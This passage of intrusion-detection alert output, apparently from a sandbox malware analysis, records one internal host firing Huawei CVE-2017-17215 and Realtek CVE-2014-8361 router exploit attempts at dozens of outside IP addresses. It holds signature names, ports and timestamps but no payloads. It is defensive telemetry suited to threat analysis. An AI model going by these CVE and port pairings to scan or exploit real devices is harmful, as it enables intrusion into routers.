Source Port:	60568
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.221.60.226

Timestamp:	07/20/24-23:01:33.030188
SID:	2829579
Source Port:	51522
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.113.213.117

Timestamp:	07/20/24-23:01:25.288605
SID:	2835222
Source Port:	54302
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.113.150.224

Timestamp:	07/20/24-23:01:28.389273
SID:	2835222
Source Port:	58658
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 87.85.193.52

Timestamp:	07/20/24-23:01:13.334111
SID:	2831300
Source Port:	47872
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 152.149.61.199

Timestamp:	07/20/24-23:01:13.332449
SID:	2831300
Source Port:	49036
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 202.94.49.200

Timestamp:	07/20/24-23:01:29.703487
SID:	2027339
Source Port:	53464
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 109.187.96.167

Timestamp:	07/20/24-23:01:19.223034
SID:	2829579
Source Port:	33640
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.131.216.90

Timestamp:	07/20/24-23:01:19.235468
SID:	2829579
Source Port:	48150
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.169.160.238

Timestamp:	07/20/24-23:01:25.281101
SID:	2829579
Source Port:	41338
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 196.52.15.30

Timestamp:	07/20/24-23:01:13.331580
SID:	2831300
Source Port:	55904
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 35.148.236.78

Timestamp:	07/20/24-23:01:22.777005
SID:	2829579
Source Port:	43632
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 100.167.118.103

Timestamp:	07/20/24-23:01:34.902184
SID:	2831300
Source Port:	48516
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.148.155.207

Timestamp:	07/20/24-23:01:22.766375
SID:	2829579
Source Port:	60816
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 207.154.52.96

Timestamp:	07/20/24-23:01:29.181762
SID:	2831300
Source Port:	39664
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 64.117.200.225

Timestamp:	07/20/24-23:01:05.458731
SID:	2027339
Source Port:	41716
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 60.68.1.166

Timestamp:	07/20/24-23:01:06.357829
SID:	2025132
Source Port:	36720
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.90.51.53

Timestamp:	07/20/24-23:01:37.166003
SID:	2835222
Source Port:	34842
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.150.55.229

Timestamp:	07/20/24-23:01:05.892501
SID:	2835222
Source Port:	38372
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 54.198.216.131

Timestamp:	07/20/24-23:01:05.767682
SID:	2027339
Source Port:	54000
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 106.139.202.117

Timestamp:	07/20/24-23:01:29.198098
SID:	2831300
Source Port:	57072
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.27.15.71

Timestamp:	07/20/24-23:01:11.459583
SID:	2835222
Source Port:	60488
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 177.26.169.251

Timestamp:	07/20/24-23:01:05.460763
SID:	2025132
Source Port:	47030
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.164.244.86

Timestamp:	07/20/24-23:01:11.467355
SID:	2835222
Source Port:	55442
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.105.99.222

Timestamp:	07/20/24-23:01:22.781976
SID:	2829579
Source Port:	47560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 18.185.167.223

Timestamp:	07/20/24-23:01:07.679354
SID:	2835222
Source Port:	54224
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.99.96.147

Timestamp:	07/20/24-23:01:05.897173
SID:	2829579
Source Port:	44782
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 78.159.95.203

Timestamp:	07/20/24-23:01:25.292315
SID:	2025132
Source Port:	46822
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.157.249.63

Timestamp:	07/20/24-23:01:28.175716
SID:	2835222
Source Port:	41282
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 5.43.253.115

Timestamp:	07/20/24-23:01:06.133183
SID:	2025132
Source Port:	44268
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 82.217.52.153

Timestamp:	07/20/24-23:01:22.769838
SID:	2835222
Source Port:	39296
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.98.176.2

Timestamp:	07/20/24-23:01:05.920528
SID:	2829579
Source Port:	43838
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 31.235.249.101

Timestamp:	07/20/24-23:01:13.328983
SID:	2831300
Source Port:	33036
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 175.127.227.163

Timestamp:	07/20/24-23:01:05.927305
SID:	2835222
Source Port:	36596
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 124.90.204.138

Timestamp:	07/20/24-23:01:05.822299
SID:	2027339
Source Port:	57638
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 135.89.106.236

Timestamp:	07/20/24-23:01:34.903669
SID:	2027339
Source Port:	46846
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.249.94.160

Timestamp:	07/20/24-23:01:28.200134
SID:	2829579
Source Port:	43552
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 174.117.157.2

Timestamp:	07/20/24-23:01:13.332596
SID:	2831300
Source Port:	59264
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.108.209.166

Timestamp:	07/20/24-23:01:14.401421
SID:	2829579
Source Port:	49138
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.213.179.11

Timestamp:	07/20/24-23:01:25.291116
SID:	2829579
Source Port:	34238
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.170.105.28

Timestamp:	07/20/24-23:01:02.414137
SID:	2829579
Source Port:	36598
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 95.58.16.105

Timestamp:	07/20/24-23:01:34.935674
SID:	2027339
Source Port:	59818
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 45.242.224.131

Timestamp:	07/20/24-23:01:33.046879
SID:	2829579
Source Port:	55574
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.145.181.40

Timestamp:	07/20/24-23:01:19.221647
SID:	2835222
Source Port:	54190
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 100.194.218.244

Timestamp:	07/20/24-23:01:34.911761
SID:	2831300
Source Port:	51648
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.232.232.165

Timestamp:	07/20/24-23:01:37.121609
SID:	2829579
Source Port:	51312
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 42.119.93.45

Timestamp:	07/20/24-23:01:34.899753
SID:	2831300
Source Port:	42134
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 84.193.36.239

Timestamp:	07/20/24-23:01:25.387257
SID:	2025132
Source Port:	44032
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 37.186.199.96

Timestamp:	07/20/24-23:01:34.940230
SID:	2027339
Source Port:	37282
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 205.237.3.78

Timestamp:	07/20/24-23:01:33.094838
SID:	2835222
Source Port:	59016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 17.93.26.147

Timestamp:	07/20/24-23:01:29.173099
SID:	2027339
Source Port:	47962
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 158.178.147.148

Timestamp:	07/20/24-23:01:13.329548
SID:	2027339
Source Port:	48892
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.174.192.210

Timestamp:	07/20/24-23:01:22.769326
SID:	2835222
Source Port:	50564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 54.211.16.108

Timestamp:	07/20/24-23:01:24.078342
SID:	2027339
Source Port:	51548
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 128.88.211.196

Timestamp:	07/20/24-23:01:24.831419
SID:	2027339
Source Port:	37032
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 120.128.124.111

Timestamp:	07/20/24-23:01:34.937254
SID:	2027339
Source Port:	38308
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 118.185.55.220

Timestamp:	07/20/24-23:01:25.301172
SID:	2027339
Source Port:	38882
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 58.133.29.249

Timestamp:	07/20/24-23:01:34.899681
SID:	2027339
Source Port:	33750
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 40.169.74.201

Timestamp:	07/20/24-23:01:34.942495
SID:	2831300
Source Port:	54302
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.252.104.58

Timestamp:	07/20/24-23:01:11.467529
SID:	2829579
Source Port:	56670
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.227.16.28

Timestamp:	07/20/24-23:01:37.234827
SID:	2835222
Source Port:	46912
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.181.208.214

Timestamp:	07/20/24-23:01:02.415804
SID:	2835222
Source Port:	52592
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 105.221.149.154

Timestamp:	07/20/24-23:01:29.177783
SID:	2831300
Source Port:	33776
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 133.108.16.92

Timestamp:	07/20/24-23:01:33.094838
SID:	2829579
Source Port:	47072
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.160.25.51

Timestamp:	07/20/24-23:01:19.220430
SID:	2835222
Source Port:	33148
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.215.212.184

Timestamp:	07/20/24-23:01:11.465612
SID:	2835222
Source Port:	58640
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 135.90.47.36

Timestamp:	07/20/24-23:01:37.227353
SID:	2835222
Source Port:	43322
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.140.242.193

Timestamp:	07/20/24-23:01:07.658261
SID:	2835222
Source Port:	51348
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.162.228.45

Timestamp:	07/20/24-23:01:11.480465
SID:	2829579
Source Port:	48554
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 146.178.29.63

Timestamp:	07/20/24-23:01:13.329793
SID:	2831300
Source Port:	36650
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.240.42.96

Timestamp:	07/20/24-23:01:33.044521
SID:	2835222
Source Port:	51970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.101.89.22

Timestamp:	07/20/24-23:01:14.487012
SID:	2835222
Source Port:	43432
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 66.23.204.217

Timestamp:	07/20/24-23:01:25.013309
SID:	2025132
Source Port:	42876
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.151.228.42

Timestamp:	07/20/24-23:01:33.040755
SID:	2835222
Source Port:	52964
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.231.97.191

Timestamp:	07/20/24-23:01:05.927305
SID:	2835222
Source Port:	33668
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 38.8.28.16

Timestamp:	07/20/24-23:01:22.762116
SID:	2835222
Source Port:	46496
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.38.46.171

Timestamp:	07/20/24-23:01:22.790734
SID:	2829579
Source Port:	38006
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 212.127.34.6

Timestamp:	07/20/24-23:01:02.411076
SID:	2835222
Source Port:	49858
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 93.255.94.157

Timestamp:	07/20/24-23:01:05.612883
SID:	2027339
Source Port:	46400
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.22.141.151

Timestamp:	07/20/24-23:01:33.069192
SID:	2829579
Source Port:	45598
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.63.61.149

Timestamp:	07/20/24-23:01:37.120542
SID:	2829579
Source Port:	33790
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 158.162.189.184

Timestamp:	07/20/24-23:01:37.122448
SID:	2835222
Source Port:	33920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 209.88.50.174

Timestamp:	07/20/24-23:01:13.331420
SID:	2027339
Source Port:	50730
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.122.12.187

Timestamp:	07/20/24-23:01:02.410932
SID:	2829579
Source Port:	45158
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 165.75.84.143

Timestamp:	07/20/24-23:01:34.935674
SID:	2831300
Source Port:	59880
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.76.208.72

Timestamp:	07/20/24-23:01:14.407391
SID:	2835222
Source Port:	59428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 157.185.202.209

Timestamp:	07/20/24-23:01:33.060990
SID:	2829579
Source Port:	40528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 210.127.30.24

Timestamp:	07/20/24-23:01:31.279890
SID:	2025132
Source Port:	50190
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.142.54.212

Timestamp:	07/20/24-23:01:11.459583
SID:	2835222
Source Port:	35822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.1.148.179

Timestamp:	07/20/24-23:01:22.779153
SID:	2835222
Source Port:	60040
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 4.227.121.101

Timestamp:	07/20/24-23:01:23.056114
SID:	2027339
Source Port:	46648
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 147.31.96.80

Timestamp:	07/20/24-23:01:24.075920
SID:	2027339
Source Port:	59924
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.14 - Destination IP: 221.142.162.73

Timestamp:	07/20/24-23:01:33.265286
SID:	2027339
Source Port:	44314
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 121.59.206.189

Timestamp:	07/20/24-23:01:19.235468
SID:	2835222
Source Port:	49960
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.227.1.45

Timestamp:	07/20/24-23:01:28.143794
SID:	2829579
Source Port:	35756
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 201.188.111.248

Timestamp:	07/20/24-23:01:24.763986
SID:	2025132
Source Port:	46918
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.164.125.148

Timestamp:	07/20/24-23:01:02.412965
SID:	2835222
Source Port:	54236
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.171.220.22

Timestamp:	07/20/24-23:01:05.895886
SID:	2829579
Source Port:	57382
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 41.204.106.94

Timestamp:	07/20/24-23:01:19.233961
SID:	2835222
Source Port:	60274
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.14 - Destination IP: 173.77.175.8

Timestamp:	07/20/24-23:01:06.136528
SID:	2025132
Source Port:	43994
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.14 - Destination IP: 197.178.140.168

Timestamp:	07/20/24-23:01:07.683360
SID:	2829579
Source Port:	60906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.14 - Destination IP: 37.186.199.96

Timestamp:	07/20/24-23:01:34.940230
SID:	2831300
Source Port:	37282
